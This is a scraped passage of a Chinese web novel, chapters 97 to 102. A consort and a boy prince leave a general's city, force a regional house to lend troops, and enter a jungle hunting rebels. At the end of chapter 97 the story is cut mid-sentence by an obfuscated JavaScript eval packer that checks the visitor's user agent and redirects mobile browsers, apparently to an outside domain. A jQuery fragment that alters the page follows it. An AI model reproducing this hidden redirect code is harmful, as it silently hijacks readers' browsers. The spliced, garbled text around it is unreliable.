他们正聊着,买干粮回来的郑扶胤道:“或许我能助娘娘一臂之力。” “你打住,就算你敢私自出兵,我也不敢用。 别回京军功没立,又说我要**。”沈安安看都懒得看他一眼。 太子现在可过继到了她的名下,这**的罪名要给她扣,太轻而易举了。 “我说的是助你请动独孤军。”郑扶胤温文尔雅的开口。 沈安安闻言来了兴趣,抬眸看向他,“怎么说?” 就见郑扶胤也不客气,在凳子上坐下来,给自己也倒了一碗酒,“咱们边喝边说。” 沈安安急**,“你倒是说哎。” 郑扶胤咽下一口烧刀子,“他们势单力薄,早就想同我交好,我修书一封,或许能让王妃出兵。” 夜亦德吃面的动作一顿,看向郑扶胤,这老小子以后一定要严加看管。 郑扶胤察觉到,冲夜亦德语重心长道:“殿下,我这也是为娘娘和你分忧。” 第97章手下留情 启南,一片祥和之气,和他们沿途路过的每一处地方都不一样。 鱼水之乡,百姓安居乐业。 郑扶胤和他们相处的就像邻居一样,百姓们看见他骑着马也见怪不怪,只说“将军回来了?” 沈安安坐在马车里,车窗推开一半。 她冲夜亦德道:“看见没,以后就要向他学习。” 夜亦德倔强的扭过头,但心里还是赞同沈安安说的,这郑扶胤确实是一个为民的好官。 “他一个反贼,我跟他学什么?”心里承认归心里,但嘴上他还是强硬着。 要是这么容易就对郑扶胤改观了,那他面子往哪里放?这一路上可一直都叫郑扶胤反贼的。 “话也不能这么说,承认别人优秀也是一种美好品德。”沈安安说着把车窗推的更开了些。 启南天气已经很热了,她换上了薄衫,队伍就这么一路到了将军府。 郑扶胤也不避嫌,领着他们就到了书房。 他在文书堆积如山的书桌前坐下,首要处理的事情就是给王坡和沈起造户籍登记。 不多时,户籍文书交到了二人手上。 沈起倒是没多大反应。 王坡高兴坏了,捧着户籍文书如珍宝一般,“哎呀,终于有正经身份了。” “老郑啊,你这个人情我记下了。”王坡恨不得冲上去给郑扶胤一个拥抱。 这一路上,两人从水火不相容,渐渐竟变的惺惺相惜了。 “小事而已,王兄不必放在心上。”郑扶胤回了一句,又开始落笔在纸上。 他给西南王妃夜昭和写了一封信,亲自递到了沈安安手上,“娘娘,这是给你的。” 沈安安犹豫着,她想接又不想接。 像亦德说的,这毕竟是个反贼的亲人,关系扯的越多隐患就越大。 王坡手快,接了过来,“老郑,这也算我欠你的。” 郑扶胤没说什么。 沈安安顺水推舟道:“那行了,把你安全送到了,我们也该启程了,走吧。” 郑扶胤声音温润,“娘娘一路上舟车劳顿辛苦了,何不小住几日? 娘娘要是觉得府上不方便,我可以给娘娘在客栈安排厢房。 沿海地区,现在正是吃海鲜的时候,来都来了,娘娘和殿下也品尝一下当地的美食。” 别的郑扶胤不知道,但他知道,这两人都爱吃。 君子不夺人所好,也会投其所好。 沈安安动作早就顿住了,她看向郑扶胤,“你这个人什么都好,就是缺根筋,好好活着吧。” “走了。” 沈安安转过身,挥了挥手,四人潇洒离去。 不料郑扶胤却追了出来,喊着:“娘娘还是去趟军营吧,不然回京后如何向陛下交代?” 沈安安头也不回,“多管闲事,你还是顾好你自己吧。” 沈安安可没打算在启南多待,出了将军府骑着枭龙带着夜亦德,给王坡也买了匹好马,让他带着沈起。 四人就这么飞奔出城。 到了城外,万辛那一千人还等着他们呢。 沈安安冲大家道:“你们任务也完成了,回去吧。” 护卫自是舍不得离开,但没有调令,他们冒然跟着沈安安去云州,会被扣上什么罪名就不得而知了,届时还会连累家里人。 “娘娘保重。”一千人齐声道。 沈安安挥了挥手,策马扬鞭,飞奔而去。 城墙上,郑扶胤双手负在身后,看着远去的背影。 “哎吆我靠。”董聂忽然喊了一声。 “你干嘛?”郑扶胤险些被他吓到。 “将军,看我这记性,我给忘了,陛下下令让我跟着娘娘去云州平乱呢。”董聂挠着头道。 “那你还愣着干什么?还不快去追。”郑扶胤道。 董聂也没啰嗦,滴溜溜的跑下城墙,骑上一匹战马就追出了城。 郑扶胤身后站着四大副将。 有人开口道:“将军,他们就这样走了,那军中安排的一切岂不是白费了?” 另一人也疑惑道:“他们去云州,浪费这么多时日绕道过来,就这么走了?” “那将军,陛下安排在军中的人还除不除?” 本来他们是想借着这次沈安安去军中收拢人心的机会,将夜不群安**水军里的人彻底铲除。 谁料,这荣贵妃不按常理出牌,连陛下的命令都置若罔闻。 比较沉稳的一位副将最后开口,“你们懂个屁,荣贵妃要是真去了军中,我们连同将军都会被扣上反贼的罪名。” “荣贵妃这是放了我们将军一次。” 郑扶胤没说话,收回目光,转身下了城墙。 “留着吧,轩辕是陛下的轩辕。” 说完这句,他兀自回将军府了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446829|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈安安骑着枭龙,夜亦德在她怀中。 “母妃,你老说郑将军是个大善人,我看你比他还善。 我们就这么走了,那你怀中的圣旨怎么办?水军兵权怎么办?” 夜亦德手里拿着小风车,风迎面吹着,小风车转的可欢快了。 “这么大个轩辕,就我啊?一兵一卒都不给,让我去对抗二十万,他有病还是我有病? 我看你脑子也不灵光,多吃点猪脑,长长脑子吧你。”沈安安开口道。 “抗旨跟脑子有什么关系?”夜亦德还在问。 “要除也不是我们除,我出手跟亦天出手有什么区别? 首先,我不能在亦天不知情的情况下,就让他背上残害忠良的恶名。 其次,我今天再教你个道理,我们可以不做善人,但不能做遗臭万年的恶人。” “你没看启南百姓生活的很幸福、对郑扶胤都很尊重吗?百姓们的眼睛是雪亮的。 杀了一个郑扶胤,启南还会有第二个他吗?万一你的好皇叔任命的是个奸臣呢? 又让启南百姓也吃观音土吗?最后恶名还在我们身上,我们要遗臭万年。” 沈安安给他讲着大道理。 夜亦德嘟着嘴,“母妃,你说的好像我轩辕全都是奸臣一样。” 王坡在一旁听着,“嘿嘿”笑出了声。 “最奸的不就是你的好皇叔吗?上梁不正下梁歪,能不奸吗?”王坡胆子也是越发的大了。 夜亦德扭头,气呼呼的冲他道:“我看你这管家是不想当了。” 沈安安紧赶慢赶,身后忽地传来一声,“娘娘,反了,你走反了。” 沈安安勒马停住,回头看向策马奔来的董聂。 她问着怀中夜亦德,“不是顺路的吗?怎么反了?” 夜亦德摇着头:“我不知道啊母妃,我也没出来过。” 王坡就更不说了,他就不是轩辕的人。 沈起完全可以忽略。 沈安安看着来到她跟前儿的董聂,“就这一条路,哪里反了?” 董聂抬起两只手,左手指着前方的路,“你走的是这边。” 他又指向后方,“云州在那边,你再走下去,就到了流放地灵州了。” 沈安安顿时没了好脾气,“**。” 她翻身下马,冲夜亦德道:“看你皇叔干的这好事?” 第98章 死人不就听话了? “这还赶个毛啊,吃饭。”沈安安将夜亦德抱了下来,牵着他在前面走着,枭龙跟在她身后。 “我来点菜,娘娘你都不知道什么好吃。”董聂自告奋勇,领着他们进了一家酒楼。 沈安安看着一大桌子的菜,没一个认识的。 “这红彤彤、像个蜘蛛一样的是什么玩意儿?”她问着。 董聂给她把蘸料放在面前,“这叫螃蟹,是让那些东渝人去深海里捕捞上来的。” 四个人,没人知道怎么吃这玩意儿。 董聂当起了布菜大师,没一会儿功夫将一只螃蟹拆分好了。 “尝尝,绝对的好吃。” 沈安安拿起筷子,猛猛的喂了一口,“嗯~~” 她点着头,“好吃是好吃,还不够大家打牙祭的,再上点。” 董聂啧了声,“这玩意有价无市,死了就不好吃了,能碰上一只都算运气好的。 我们这还一人一只呢。” 沈安安闻言,嘴里的蟹肉不香了,“这得多贵啊?” 董聂继续拆螃蟹,“害,在我们大将军的地盘,还要娘娘出银子啊?” 这话听的夜亦德不乐意了,但他也没说什么。 这螃蟹是真好吃。 还有烧鹅、砂锅粥、各种炒青菜……反正每一道菜的味道都跟沈安安之前吃过的不同。 要说招待皇帝的八百八十八道菜她也品尝过,但有一说一,都没这桌菜的味道好。 主要是一个鲜。 唯一美中不足的是,这里只有米酒,可没什么烧刀子卖。 沈安安吃饱喝足,从酒楼出来了还意犹未尽呢。 接下来董聂带路,他们直奔云州。 启南已经很热了,他们个个汗如雨下,一路上还要遭受蚊虫叮咬之苦。 夜亦德叫苦连天了一路,说启南真不是好地方。 沈安安为了照顾他,不得不放慢速度赶路。 以至于到云州的时候,已经是一个月后了。 时间紧任务重,沈安安一行人直奔西南王府。 她也不废话,直接让王坡亮出了郑扶胤手写的信。 管家将他们迎了进去,好吃好喝的招呼着,“娘娘、殿下,王妃出府去慰问百姓了。 没说何时回来,等王妃回来,我立马派人来禀报。” 沈安安挥了挥手,“去吧。” 王坡吃着饭菜,开口道:“娘娘,这是不想见你啊。” 他又看向董聂,“这你们将军的名头也不好使啊。” 夜亦德往嘴里扒拉着饭,“由不得她。” 沈安安吃着大鸭腿,“反正我们赶路也赶累了,就当好好歇息了。” 与此同时,王府书房里。 夜昭和坐在椅子上,她女儿敲着算盘在算账。 “独孤若兰这个废物,当真是进宫享福去了。 我每年送进宫那么多银子,陛下还是不肯放过我们孤儿寡母。” 夜昭和揉着生疼的太阳穴。 管家叹息一声,“王妃,那眼下如何是好?” “护京军要咱们王府出银子养着,大晟那边也要我们派人维持秩序。 银子只出不进,王妃和郡主日夜操劳,可这也不是长久之计。 要么将荣贵妃叫来商议商议?” “你是猪脑子吗?她爹现在都在大晟反了,跟她商议什么?”夜昭和冷冷一声。 她也算是看着沈安安长大的,沈安安是个怎样的人她能不清楚吗? 陛下怎么派了个贪生怕死的过来带兵平乱了?莫非平乱只是借口,端掉王府和独孤军才是目的? 夜昭和想了想,“便给她几百府兵吧,以让她查探消息为由先把她打发了。 日后她再来,别让她进王府。” 管家捧着郑扶胤的信,还是未拆开的,“那这郑将军的信……” 夜昭和撤了手,“我让他帮我搭上郑婉婉,他至今都没给个准信。 现在又来跟我狐假虎威了,也太看得起自己了,烧了。” “是。”管家应了声,当着夜昭和的面儿就把信件给烧了。 管家退出书房,将几百名府兵召集起来,给沈安安送去。 “娘娘,王妃偶感风寒,不宜见客,特命我带府中精锐前来交与娘娘。 平乱乃国之大事,不敢耽误娘娘,马匹已经给娘娘准备好了,就在府外。” 这是直截了当的下逐客令了。 沈安安看着所谓的精锐,充其量也就是王府的打手。 打发叫花子呢? 她笑了声,“王府如此大方,我回京后必如实禀报陛下。” 管家闻言低下了头,“娘娘,王妃的意思是让您先去打探敌情。 毕竟如今大晟情况如何,尚不明朗,贸然出兵,王妃也是担心娘娘中了埋伏。 毕竟造反的是娘娘的爹,这俗话说得好,知女莫若父。” 沈安安不啰嗦,将圣旨甩给了管家,“日出之前,五千轻骑,弓箭粮草备好。 如若不然,我只好先擒了王妃回京请命了。” 管家接过圣旨,怔愣在原地。 “擒王妃?”他呆愣愣的出口。 “哦,你倒是提醒我了,还有郡主和世子。 抗旨等同谋逆,逮了你们我再去捉拿反贼。”沈安安淡淡道。 管家低头思索着,这荣贵妃真是口出狂言,她连把剑都拿不起,还敢说擒王妃和世子。 真是拿着鸡毛当令箭,她是把王府当菜市口了吗? 但管家还是表现出一副害怕的样子,挥手退了府兵,说道:“娘娘,那容我再去禀报王妃,劳烦娘娘稍等片刻。” 管家说完也不等沈安安回一声,转身离开了。 王坡看着管家离开的背影,“娘娘,我看这老小子是一点儿都不害怕啊。” “哼。”沈安安冷哼一声,“死人不就听话了吗?” “明天我见不到人,就拿他杀鸡儆猴吧。” 董聂看她这样子也不像是说笑的,这也太狠了吧?跑来人家的地盘还这么嚣张。 管家没再去烦夜昭和,但也不能不报,只能去找世子了。 “世子。”管家停在独孤及房外,叫着。 “进来。”一道声音回着。 管家推门进去,一五一十将事情经过告知。 “大晟这次起兵造反,规模庞大,据说反贼已有二十万兵马。 她当真就只要五千人?”独孤及问着。 管家点头,“看她那样子,不像是假的。 兴许是初生牛犊不怕虎,荣贵妃哪里上过战场?” “给她最精锐的,武器马匹都要配最好的,再另外安排两千人做辎重队伍。 拿着我的令牌,去军中调兵吧。”独孤及从腰间拿下了令牌。 管家一脸为难:“世子,这……王妃那边……” “你不用担心,母妃那边我自会去说,抗旨的罪,咱们王府可担不起。”独孤及挥了挥手。 第99章入大晟 管家还想再说什么,但见独孤及低头看书了,便说了声“老奴告退。”退出了屋子。 翌日天还没亮,管家已经将五千独孤军精锐集结好,趁着王妃还未起,匆匆来找沈安安了。 “叩叩叩。”管家敲响房门,“贵妃娘娘,人马已经给您集结好了,在王府后门。” “咯吱”一声,房门从里面打开。 沈安安穿着一身玄色窄袖锦袍,一头乌黑的长发用一根墨绿色玉簪挽着,整个人看上去英姿飒爽,颇有武将风范。 “辛苦了。”沈安安牵着夜亦德,夜亦德亦是一身玄色的衣裳。 王坡董聂领着沈起,也早就准备好,一行人在管家的带领下,来到王府后门。 管家打开房门,识趣的让到了一边,他自然不敢跟沈安安说安排这一切都是瞒着王妃的。 所以来的一路上都谨小慎微,生怕弄出什么大动静惊扰了王妃。 “贵妃娘娘,那老奴就送您到这里了。”管家将他们请出了门,出声道。 “回去吧。”沈安安翻身上了枭龙的背,瞥也不瞥管家一眼,随口说了一声便扬鞭走了。 她不识路,手里也没张地图,便让熟悉路的一名独孤军在前面带路了。 独孤军世代在云州镇守大晟,对大晟可谓是很熟悉了。 出了云州城,约莫行了两刻钟,便到大晟州地界了。 大晟原叫晟渊国,被夜不群灭国之后便改为大晟州了。 “娘娘,大晟很乱的,从现在开始,大家就要打起精神了。”领路那名独孤军说着。 沈安安点了点头,脑中思索了一番,也没有关于原主爹长相的信息。 她遂扭头问着:“我爹长什么样子?” “额……”独孤军一时语塞,“娘娘莫不是在跟末将开玩笑?” 沈安安摇头,“我真不知道他的样子,这里离我爹的老巢还有多远?” 王坡和董聂相视一眼,这跟着娘娘当真能平乱吗?还能回去吗? 他“驾”一声,追上沈安安,打断她和独孤军的对话,“娘娘,我知道你向来没脑子,但你也不能这样吓人吧? 你连你爹都不认识,这说出去谁信?” 王坡说的委婉了,说的明白点她这话就是在动摇军心。 被沈安安护在怀里的夜亦德呵斥着王坡,“放肆,一会儿你给我冲最前面。” 王坡耐着性子道:“殿下,我们要先礼后兵,虎毒还不食子呢。” 沈安安腿一夹马腹,“去看了再说。” 越往腹地走,百姓的生活越加的惨不忍睹。 没有了规则的束缚,人性的恶便会被暴露无遗,街边随处可见是人的骸骨,不乏孩子的。 一眼看过去,连山都是光秃秃的,没有半点绿意。 正值午时,沈安安正打算找个地方安营扎寨,先吃午饭。 忽地,光秃秃的山上开始有人影攒动,朝着他们慢吞吞的走来。 这些大晟人,踩着地上那些尸骨,一个个都像没有灵魂的行尸走肉,一步步的缓缓挪动着。 越来越多的人聚集起来,他们骨瘦嶙峋,眼神无光,不断的在逼近沈安安他们。 “不好,得快些走了娘娘。”王坡第一个反应过来,勒马就要掉头。 沈安安摸了摸枭龙背上的长枪,一双冰冷的眸子盯着大晟人,“让开,再往前一步,格杀勿论。” 沈安安知道,现在可不是做大圣母的时候,就这种不毛之地,粮草对他们来说太重要了。 再者,这些大晟人,恐怕想要的不仅仅是粮草,他们的马匹……可能皆会变成果腹的食物。 大晟人充耳不闻,他们从四周拢过来,就像一张大网一样不停的收缩着。 沈安安见讲道理是行不通了,她抬起一只手,“弓箭手准备。” 她只说准备,没说射杀,意在吓退这群大晟人。 她怀中的夜亦德闻言,诧异的抬头看向她,“母妃。” 没想到母妃也……也是个狠人。 身后五千名将士,已然搭起了弓箭,就等沈安安一声令下了。 但沈安安迟迟没下令。 眼看着已经有人快到他们跟前了,枭龙开始踢腾着蹄子,不停的仰头大叫,好似在叫沈安安发起冲锋。 沈安安拿起枭龙背上的黑枪,单手扔出,黑枪扎在地面上。 只差一寸,就插在了大晟人的身上。 “你们当真要找死吗?”沈安安厉声问着。 董聂也拔刀了,“娘的,娘娘,还跟他们废什么话?再啰嗦下去,我们没办法突围了。 你看他们的样子,分明就是把我们当成了食物,现在踏过去还能少死一些,再晚就来不及了。” 沈安安眉头一皱,“驾”一声上前,她单手握住那杆黑枪,直直的就刺了出去。 顷刻间,挡路的大晟人分作两边,仓皇逃窜。 其实刚刚,沈安安是收了力道的,要不然,一群难民还能有逃生的机会? 她赌的就是他们也怕死。 现在被杀死、和有可能会被饿死,难民自然会选择后者。 大晟难民们见沈安安真是要动真格,便不敢再有别的心思了。 队伍在沈安安的带领下,马不停蹄的驶离这吃人的地方。 队伍后面,那群难民还是跟着他们往前走。 就像狼群盯上猎物、穷追不舍一般,仿佛就在等机会伺机而动。 最后走的是两千人的辎重队伍,这导致整个队伍的行军速度提不上来。 但好在,难民们没多少体力,两个时辰后,还是将他们甩掉了。 难民也是有聚集地的,最终沈安安他们找了一个连杂草都没有的荒芜之地休息。 王坡猛喝了两口水,他看着偌大的地图,“这样找下去,不被抢也饿死了。” 沈安安也叹息一声,“他娘的,这大晟竟然这么大,轩辕怎么把它打下来的?” 不过沈安安转念一想,就是因为太大,所以暴君才空不出军力人力来维持秩序,这才导致大晟变成现在这样。 王坡一拍大腿,“就不该把这打下来,变成附属国才是对轩辕最有益的。 你看看现在,这么多难民,万一哪天涌进了云州城怎么办?” 独孤军的千夫长道:“只要他们越界,我们就会毫不犹豫的射杀。 次数多了,他们也就不敢了,但仍是有不怕死的,下场都一样。” 第100章壕沟林 王坡一扭头,看向千夫长,冲着他招了招手。 “来来来,你们跟大晟常年打交道,你过来跟我们说说,大晟最富庶的地方在哪里?” 千夫长回道:“这大晟哪里还有富庶的地方?” 王坡指了指地图,“那哪里的土地肥沃、淡水资源丰富,这你总知道吧?” 千夫长在地图上指了三个地方,分别是东南方的浇巢、西边的蜗淦、北边的滋乌。 沈安安看着地图上跨度大的三个城,“这什么跟什么?你们探查到的在哪里?” “害,这次才是我们来的最深的一次,谁知道他们在哪里造反? 娘娘莫怪,朝廷不给军饷,谁愿意去卖命?”千夫长看向沈安安,诚挚的开口。 沈安安摆了摆手,啃着手里的干巴巴馒头,“不打紧,是我我也不愿意。” 只有王坡一直盯着地图在看,忽地,他手指着三座城围起来的中间地带,问着:“这里是哪里?” “那里没有城,那是壕沟林,原始森林,没人去。 里面有瘴气、还有野兽,只有少部分壕沟土著才能在里面穿梭自由。 贸贸然进去的,必死无疑,一旦进去就会迷失方向。” “而且壕沟林内毒物很多,根本不知道什么能吃什么不能吃,就算不饿死也毒死在里面了。 树木遮天蔽日,只要进了壕沟,没有本地人带路,是出不来的。”千夫长回着。 却听王坡笃定道:“他们就在里面。” “不可能。”千夫长道,“我们跟随陛下灭国那次,将所有的壕沟土著杀光了。” 王坡反问:“陛下进去了?” 千夫长摇头:“没有。” “陛下说那地方进去会失温的,虽然我不知道失温是什么意思,反正就因为这个原因,大军没进去。” “那你怎么知道杀光了?”王坡问着。 千夫长信誓旦旦的开口:“因为当时大晟皇室就躲了进去,大军守了一年之多,他们和壕沟土著在里面活不下去了。 主动出来投死的。” 王坡抓住话里的漏洞,“既然是土著,那就说明他们有在里面生存的本领。 既然有本领,为什么要出来送死?” “这……”千夫长被问的哑口无言。 夜亦德抬头问王坡,“如果没死绝,以皇叔的性子,又怎么会班师回朝?” 王坡道:“依我看,出来的只是少部分的皇室和一部分替死的壕沟土著。 而真正的皇室实力,和另外一部分壕沟土著,就在里面扎根了。” “换句话说,现在大晟也就这一小撮地方了,三面有最肥沃的土地,又有天然屏障,还能有比这里更安全更好的地方吗?” “当时你皇叔撤退,那也只是给自己找个由头,百万大军耗下去又能如何? 东西一旦失去了价值,就是多余的,只要对轩辕造不成威胁,让他们苟且偷生又有什么关系?” “你看,现在他们不安分了,陛下不是派我们来了?”王坡一声反问,让小小的人儿眸子睁的大大的。 沈安安拧好水壶盖子,“那就去壕沟林吧,掘地三尺也要把我这反爹抓回京。 灭不灭大晟,那不是我的事儿。” “等等。”王坡打断她的动作,又问千夫长,“这里有北燕郑皇后的商队吗?” “有,但是这价格……”千夫长点了点头。 “哇!”沈安安闻言,露出夸张又钦佩的表情,“这里都能有?难民不抢吗?” 千夫长:“轩辕都不派兵来的地方,娘娘以为北燕的商队就是什么善茬吗? 除了北燕商队,还真没有什么人敢来大晟经商,来了也是白给,首辅大人亲历过。” “听说万石大米一个时辰就被抢光了,天罗回云州时都是光着身子的,刀都砍卷刃了。” 沈安安一脸疑惑,“那那那……那北燕就杀的过来?” 千夫长道:“北燕的商队有睡睡粉,就这么随风一扬,几里地凡是会呼吸的都得倒。 难民本来就饿,这么睡上七天,直接饿死了,谁还去招惹他们?” “毕竟抢东西也是为了活命不是?” “睡睡粉?那这两国开战的时候,一扬不就没事儿了?还怕轩辕干啥?”沈安安扑闪着眸子,问着。 “害,这就是咱们陛下厉害的地方啊,千人斩和龙虎军就不怕啊。 像这睡睡粉,陛下九岁、还是王爷的时候就已经攻克了。 防具、解药,一应俱全,不然北燕怎么那么怕我们?”千夫长无比自豪的说着,他毕生的梦想就是加入龙虎军。 “算了算了。”沈安安兀自收拾东西,“越听心越凉,好东西都不给我们用。 带的粮草够了,不用找北燕商队了,找了我也买不起。” 王坡拉住她,“谁说要买粮草了?必须要找北燕商队。” 沈安安瞪着他,“不买粮草买啥?你还想喝希崽啊?” 王坡叹息一声,“这种壕沟,原始森林,昼夜温差是不一样的。 热的时候热死,冷的时候会冷死,它还会下雨的,听我的没错。” “你,带路,先找北燕商队。”他冲千夫长开口。 千夫长看向了沈安安。 沈安安毕竟不是这个世界的人,这地形条件啥的,还是听王坡的比较好。 “听他的,找商队。”沈安安一声令下,队伍再次出发。 这次不是漫无目的的行进了,而是朝着最近的北燕商队驻扎地浇巢而去。 历时三天四夜,原本只是两天的路程,但一路都有难民不断骚扰,拖延了时间。 浇巢城门紧紧关着,王坡大喊着“买东西”里面的人也不开门。 两刻钟后,城墙上出现在了一男一女,看着装打扮,应当是此地商队的负责人。 “说,你要什么东西?”男的开口问着。 王坡举着手道:“八千套棉衣、八千床棉被、一千张油布。” 他话音刚落,城门上女的开口了,“你们是要进壕沟林吗?” “我们有更好的东西,防水、保暖、防撕咬,叫一体棉衣,是我们北燕特有,从头裹到脚。 脱也方便,穿也方便,正好有一万套……” 也不等她说完,沈安安仰头大声问着:“东西是好,你就说多少钱?” 女人道:“不贵,二十两金一套。” 沈安安大概算了一下,“你怎么不去抢?” 女人不急不躁道:“贵吗?粮食在这里都二两银子一斗,保命的东西不贵吧? 毕竟这里是大晟呀,你们嫌贵可以回轩辕买呀。” 沈安安牙痒痒,所有拿出来也不够啊。 第101章入林 城墙上的女人话音落地,放下了一个竹篮。 用长长的黑色绳子吊着,从几十米高的城墙上缓缓落下来。 “要,就赶紧付钱了。”女人温声道。 沈安安瞥向王坡,开口问着:“不买行不行?” 王坡没好气的反问:“钱重要还是命重要?” 沈安安没好气的从怀中掏出银票,放进了篮子里。 她冲城墙上的人道:“就这么些了,能买多少买多少吧。” 篮子收了上去,上面的人收了银票。 不多时,城墙上又放下来了物资。 “一千套一体化棉服,再送你一套,总共一千零一套。”上面的人说道。 沈安安招了招手,身后的独孤军下了马,将棉服驮在了马背上。 一切准备就绪,他们继续往壕沟林出发。 没了难民围堵,行进速度倒是快了,越靠近壕沟林,树木就越大。 果不其然,像王坡说的那样,天气越发的冷了。 而且不同于外边,这里根本没办法辨别阴天还是晴天,遮天蔽日的树木,便是在大晴天,也没多少阳光能透进来。 “不能再往前走了。”沈安安勒马停住,身后的大队伍也停了下来。 她毕竟是实战经验丰富的,身临其境之后,很快就能辨别地理环境的危险度。 “大军就驻扎在这里吧。”沈安安翻身下马,将夜亦德也抱了下来。 “母妃,我要跟你一起去。”夜亦德仰头望着她,小小的人儿倔强道。 沈安安揉着他的头,“听话,你不能进去。” “那棉衣太大了,你还是个孩子,里面的恶劣环境适应不了的。”沈安安解释着。 夜亦德还没说话呢,王坡抢先道:“娘娘,我也适应不了。” “啪。”沈安安一个巴掌呼在了他脑袋上,“那你就给我学着适应。” 下一瞬,千夫长已经把一套棉衣塞到了王坡手里。 董聂也摩拳擦掌,自告奋勇,“打仗这事儿少不了我。 娘娘,你的恩情我替大将军还了,我来给你打头阵。” 沈安安抬起一脚,踹在了他的屁股上,“你给我闭嘴,我可跟你们启南半分钱关系也没有。” “你留下保护亦德和辎重,我、王坡、千夫长,带着九百人深入壕沟林。 其余人,全部驻扎此地,保护好亦德和辎重。” 沈安安话毕,千夫长扭头冲独孤军道:“辎重都是小事儿,最重要的是二殿下的安危。 无论发生什么,都以二殿下为先,听明白了吗?” “是。”独孤军齐齐应着。 沈安安照例,拿出了小册子,递给了千夫长,“行军名册,记录好了交给亦德。” “娘娘还是个行家啊。”千夫长跟沈安安熟络了,也没之前那样约束了。 沈安安摆了摆手,示意他赶紧去做事儿。 千夫长冲大军开口道:“家中有年迈父母的、家中独子的、无儿无女的出列。” 竟只有两千人出列。 千夫长对着这两千人道:“你们留下来。” 而后,他又冲着剩余两千九百九十九名道,“我将从你们这些人里挑选出九百人,随我同娘娘一起进入壕沟林。 壕沟林的危险,想必不用我多说,水性好、攀爬好、年轻力壮的,出列。” 没有人退缩,大家自发的站出来。 “好,列队。”千夫长说罢,一一将他们的名字记录在册。 然后他们各自带着补给和棉衣。 战马是不能进去的,要留在原地,撤退时用。 接下来,他们只能用两条腿往里面探了。 沈安安站在九百名独孤军前面,手握着黑枪,肩上背着包袱,“进入过壕沟林的,站出来。” 九百人,原地不动。 “好吧,出发。”沈安安说罢,转身朝前走。 王坡和千夫长跟在她身侧,一左一右。 接下来没有地图了,只能凭借直觉往前走了。 参天的树木下,根本没有矮小的植物生存,所以路倒是出奇的好走。 本来刚开始是沈安安带路的,但走着走着王坡就跑到最前面去了。 他担心沈安安没脑子,把大家都带上一条绝路。 至少他有过逃生的经验,丛林沼泽什么的,他还是熟悉的。 一路上,他都是左瞧瞧右看看。 直到看见一条好大的菜花蛇“嗖嗖”滑过,他才松了一口气。 “好了,接下来的十里地,大家可以放心大胆的走了。”王坡连腰杆都挺直了。 “为什么?”独孤军里有人问。 “一里菜花蛇,十里无毒蛇,现在我们只需要注意有没有猛兽就行了。”王坡说罢大摇大摆往前走。 沈安安沿途都在观察什么东西能吃,毕竟作为冲锋队伍,他们带的干粮都是有限的。 就地取材,是冲锋军必备的一项技能。 沿途她将自己认识的、能吃的东西,都摘下来保留了。 “够了够了,停下。”沈安安叫住正兴冲冲往前走的王坡。 “怎么了娘娘?”王坡回过头来,不解的问着她。 “我觉得不对。”沈安安认真说道,这是一个常年征战的将军的直觉。 说不出来缘由,但直觉告诉她,按照王坡的路线走下去,必将会一无所获。 “哪里不对?一路上我都在观察此地的情况,这里西晒比较充足。 阳光能透进来的地方,瘴气肯定会薄弱一些,最适合安营扎寨了。 我们往西边走,肯定没错,据说他们有二十万的叛军,这么大的规模,不可能在危险的地方落脚的。” 王坡有理有据道。 正因为独孤军也懂他说的这些,所以才一路上闷声跟着,一言不发。 沈安安却道:“如果我是反贼,我肯定不会选择安全的地方落脚。 这些你都能想到,敌人肯定也能想到。” “向西过来的路,太平整了些,他们既然是躲在里面,肯定不会留下这么大的破绽。” 沈安安站在原地,看了看四周。 她静下心来,没再理会王坡的据理力争。 她知道,这时候必须要冷静思考,一旦她猜错了,他们这些人的下场不会好。 二十万叛军,藏在这样的深山老林里,随便一个伏击,他们都没有还手的余地。 所以,现在要找的,不是叛军的大本营,而是壕沟林土著的居住地。 第102章前黑熊后老虎 “我们往东走。”沈安安一双漆黑的眸子,紧紧盯着东方。 所有人都很诧异,那可是壕沟林最危险的地方。 常年日照薄弱的地方,很有可能有沼泽地。 掉进去,光是里面的蚂蟥就够人喝一壶的了。 “娘娘,他们应当不会藏在那么深的地方吧?”千夫长开口道。 “越危险的地方越安全。”沈安安道。 她是主将,一声令下也没人敢反抗,但大家都有疑虑,“不愿意”全写在脸上。 王坡嘟囔着:“额……上苍保佑吧。” 他们只能跟在沈安安身后,调转了方向。 但这一次,并没有沿着来时的路。 在这遮天蔽日的密林里,他们没办法辩解时辰,只能凭借温度的变化来分辨是什么时候。 夜晚,气温骤降,是不利于赶路的。 沈安安领着大家找了个相对安全的地方,安营扎寨,换人轮守。 别说,从北燕商队买来的一体化棉衣,派上了大用场。 他们就这样经历了五天五夜。 一路上有野果子果腹,干粮倒还剩了一半。 深入到了腹地,他们来时留下的记号也起不上多大的作用了。 瘴气导致,能见度骤然下降,没有土著引路,他们会困死在这里。 “不能再往前走了。”王坡道。 大军顿住脚步。 沈安安耳朵动了动,轻声道:“有人。” 她一个手势,大家齐刷刷的蹲了下来,半点儿声响都没弄出来,躲避在一棵棵参天大树后面。 其实有瘴气,就算不躲对面的人也看不清。 但行军打仗的,找掩体已经成了本能。 别人的听力没有沈安安这么好,王坡和千夫长什么都没发现,只能定定的看着一脸专注的沈安安。 动静越来越远,直至彻底消失。 三刻钟后,沈安安才缓缓开口,“我们得想办法渡过这片沼泽地,对面很可能就是土著的居住地了。” 大家面面相觑。 王坡率先发出疑问,“娘娘,这么大一片沼泽,咱们怎么过去?” “我先去看看。”沈安安说罢便站起身来。 她劈下一根长树干,走到沼泽边上,将内力汇聚于手上,将这根树干扎在了沼泽地中间。 还好,并不是很深。 按照树干插进去的力度,这个深度下面足够承受住人的重量。 沈安安折返了回来。 “大家都换上棉衣,以我为中心,所有人分作两边,一起横跨过沼泽地。”她吩咐着。 与此同时,她已然跃上了一棵粗壮的大树。 选了适中的一根枝干,劈断掉落在地上。 她在最中间,将黑枪和树干绑在了一起,这样是为了防止两边受力不均匀,树干从中间断裂的风险。 